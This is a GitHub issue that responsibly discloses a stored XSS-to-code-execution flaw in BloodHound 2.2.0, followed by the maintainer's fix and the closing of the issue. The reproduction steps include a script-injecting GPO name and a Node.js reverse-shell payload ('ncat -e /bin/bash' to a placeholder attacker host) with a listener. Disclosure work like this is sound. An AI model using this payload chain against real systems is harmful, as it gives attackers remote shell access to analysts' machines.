Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Code execution in Bloodhound via malicious AD Object #267

Closed
6661620a opened this issue Aug 25, 2019 · 5 comments
Closed

Code execution in Bloodhound via malicious AD Object #267

6661620a opened this issue Aug 25, 2019 · 5 comments

Comments

@6661620a
Copy link

6661620a commented Aug 25, 2019

Dear Bloodhound Team –

I identified a way to achieve code execution in Bloodhound 2.2.0 by creating a GPO with a name containing JavaScript code that will trigger in Bloodhound's search-autocomplete function. The injected JavaScript is not only a valid xss but also allows the creation of a child process.

The following steps are required to reproduce the vulnerability with a simple reverse shell using ncat:

  1. Create a GPO with the following name:
    aaaaaa<SCRIPT SRC="https://<attacker host>:<some port>/poc.js">

  2. Run Sharphound
    Invoke-BloodHound -Stealth

  3. Import collected data

  4. Host the following js payload as POC.JS (all uppercase is important here since the sharphound output json always has the value for the name field in upper case)
    const { spawn } = require('child_process');
    spawn('ncat', ['-e', '/bin/bash', '<attacker host>', '<some port>']);

e.g. with python -m SimpleHTTPServer <some port>

  1. Start listener
    nc -v -l -p <some port>

  2. Search for "aa" in Bloodhound and catch the shell

I suppose there is still a lot of room for improving the actual exploit. Probably there are better strings to make it trigger on than "aaaaa" and I also would not consider JavaScript as one of my strengths but I hope I could prove my point here :)

I also made a video
Vimeo Bloodhound PoC

@sylvaincortes
Copy link

Hi, i am sure to understand the purpose of the GPO during the entire process - could you clarify please ? Sylvain

@6661620a
Copy link
Author

Hi, i am sure to understand the purpose of the GPO during the entire process - could you clarify please ? Sylvain

A GPO can have all sorts of characters in its name. That's where the javascript payload is placed. The GPO has no other purpose than being read by sharphound and "export" the payload to sharphound's json output

@rvazarkar
Copy link
Contributor

rvazarkar commented Aug 25, 2019 via email

@rvazarkar
Copy link
Contributor

I've pushed a potential fix for the issue in c48afcb

Going to test it a bit more as well

@rvazarkar
Copy link
Contributor

The fix properly renders the characters as text, not as HTML tags. I also deployed a fix to another potentially injectable portion of the UI at the same time. @6661620a tested my fix as well and confirmed it works. I'm going to close this issue, and push a release out containing this fix.

Thanks again @6661620a !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants